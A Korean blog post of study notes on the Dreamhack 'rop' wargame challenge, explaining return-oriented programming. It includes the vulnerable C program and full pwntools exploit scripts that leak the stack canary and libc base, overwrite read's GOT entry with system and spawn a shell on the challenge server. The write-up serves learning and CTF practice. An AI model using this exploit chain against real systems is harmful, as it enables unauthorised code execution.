촉촉한초코칩
[Dreamhack] rop 본문
ROP(Return Oriented Programming)
- 라이브러리 함수의 실행
- 다수의 리턴 가젯 연결하여 사용
- ASLR이 걸린 환경에서 system 함수를 사용하기 위해 프로세스에서 libc가 매핑된 주소를 찾고, 그 주소로부터 system 함수의 오프셋을 이용한 함수의 주소를 계산한다.
공격
- 문제에 맞게 return to library, return to dl-resolve, GOT overwrite 등의 페이로드 구성
ROP 페이로드
- 리턴 가젯으로 구성
- ret 단위로 여러 코드가 연쇄적으로 실행된다.
ROP 실습 코드
// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Do ROP
puts("[2] Input ROP payload");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
return 0;
}
분석 및 설계
보호기법 파악
$ checksec rop
[*] '/home/dreamhack/rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
코드 분석
- 바이너리에서 system 함수를 호출하지 않아 PLT에 등록되지 않으며 "/bin/sh" 문자열도 데이터 섹션에 기록하지 않는다.
- system 함수를 익스플로잇에 사용하려면 함수의 주소를 직접 구해야 하고, "/bin/sh" 대신 사용할 다른 방법도 생각해야 한다.
익스플로잇 설계
1. 카나리 우회
from pwn import *
p = process('./rop')
e = ELF('./rop')
def slog(name, addr): return success(': '.join([name, hex(addr)]))
# [1] Leak canary
buf = b'A' * 0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)
2. system 함수의 주소 계산
- 바이너리가 system 함수를 직접 호출하지 않아 system 함수가 GOT에는 등록되지 않는다.
- 그러나 read, puts, printf는 GOT에 등록되어 있다. (system 함수가 정의되어 있는 라이브러리(libc.so.6)에서 reda, puts, printf도 호출한다.)
- main 함수에서 반환될 때는 이 함수들을 모두 호출한 이후이므로, 이들의 GOT를 읽을 수 있으면 system함수가 매핑된 영역의 주소를 알 수 있다.
- libc 안에서 두 데이터 사이의 거리(offset)은 항상 동일하다.
그러므로, libc가 매핑된 영역의 주소를 구할 수 있으면 다른 데이터의 주소를 모두 계산할 수 있다.
ex) 함수의 거리가 항상 0xc3c20이라면, system=read-0xc3c20으로 system의 주소를 알 수 있다.
- rop.c에는 read, puts, printf가 GOT에 등록되어 있으므로 하나의 함수를 정해서 GOT 값을 읽고 그 함수의 주소와 system 함수 사이의 거리를 이용해서 system 함수의 주소를 구할 수 있다.
#!/usr/bin/env python3
# Name: rop.py
from pwn import *
def slog(name, addr): return success(': '.join([name, hex(addr)]))
p = process('./rop')
e = ELF('./rop')
libc = ELF('./libc.so.6')
# [1] Leak canary
buf = b'A'*0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)
# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851
payload = b'A'*0x38 + p64(cnry) + b'B'*0x8
# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)
p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
slog('read', read)
slog('libc_base', lb)
slog('system', system)
p.interactive()
3. "/bin/sh"
- 문자열을 임의 버퍼에 직접 주입하여 참조하거나, 다른 파일에 포함된 것을 사용해야 한다.
- 다른 파일에 포함된 것을 사용할 경우 많이 사용하는 파일이 libc.so.6이다.
이 문자열의 주소도 system함수의 주소를 계산한것과 동일하게 거리를 더하거나 빼서 구한다.
4. GOT Overwrite
- system함수와 /bin/sh 문자열의 주소를 알아냈으므로, pop rdi; ret 가젯을 활용하여 system("/bin/sh")를 호출한다.
- 그러나 system 함수의 주소를 알았을 때는 이미 ROP 페이로드가 전송된 이후이므로, 알아낸 system 함수의 주소를 페이로드에 사용하려면 main 함수로 돌아가서 다시 버퍼 오버플로우를 일으켜야 한다.
> 알아낸 system 함수의 주소를 어떤 함수의 GOT에 쓰고, 그 함수를 재호출하도록 ROP를 구성한다.
- "/bin/sh"는 덮어쓸 GOT 엔트리 뒤에 같이 입력 > read 함수 사용
- read 함수 인자 : 입력스트림, 입력 버퍼, 입력 길이 (rdi, rsi, rdx)
pop rdi; ret, pop rsi; pop r15; ret
문제 : rdx는 바이너리에서 찾기 어려움
문제 해결 : libc_csu_init 가젯 사용, rdx의 값을 변화시키는 함수 호출해서 값 설정
ex) strncmp 함수는 rax로 비교 결과를 반환하고, rdx는 두 문자열의 첫번째 문자부터 가장 긴 부분 문자열의 길이 반환
- read 함수, pop rdi; ret, pop rsi; pop r15; ret 가젯을 사용하여 read의 GOT를 system 함수의 주소로 덮고, read_got + 8에 "/bin/sh" 문자열을 쓰는 익스플로잇을 작성한다.
셸 획득
- read 함수, pop rdi; ret 가젯, "/bin/sh"의 주소(read_got + 8)을 이용하여 익스플로잇 작성
#!/usr/bin/env python3
# Name: rop.py
from pwn import *
context.update(arch='amd64', os='linux')
def slog(name, addr): return success(': '.join([name, hex(addr)]))
#p = process('./rop')
p = remote("host3.dreamhack.games", 21346)
#p = process('./rop', env= {"LD_PRELOAD" : "./libc.so.6"})
e = ELF('./rop')
libc = ELF('./libc.so.6')
# [1] Leak canary
buf = b'A'*0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)
# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851
ret = 0x0000000000400854
payload = b'A'*0x38 + p64(cnry) + b'B'*0x8
# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)
# read(0, read_got, ...)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)
p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
slog('read', read)
slog('libc_base', lb)
slog('system', system)
p.send(p64(system) + b'/bin/sh\x00')
p.interactive()
'Study > System' 카테고리의 다른 글
[Dreamhack] **Return to Library (0) | 2024.05.26 |
---|---|
[Dreamhack] ssp_001 writeup (0) | 2024.05.19 |
[Dreamhack] Canary 생성 과정 동적 분석 (0) | 2024.05.19 |
[Dreamhack] Canary 실습 동적 분석 (0) | 2024.05.19 |
[Dreamhack] shell_basic (**다시 해보기...) (0) | 2024.05.13 |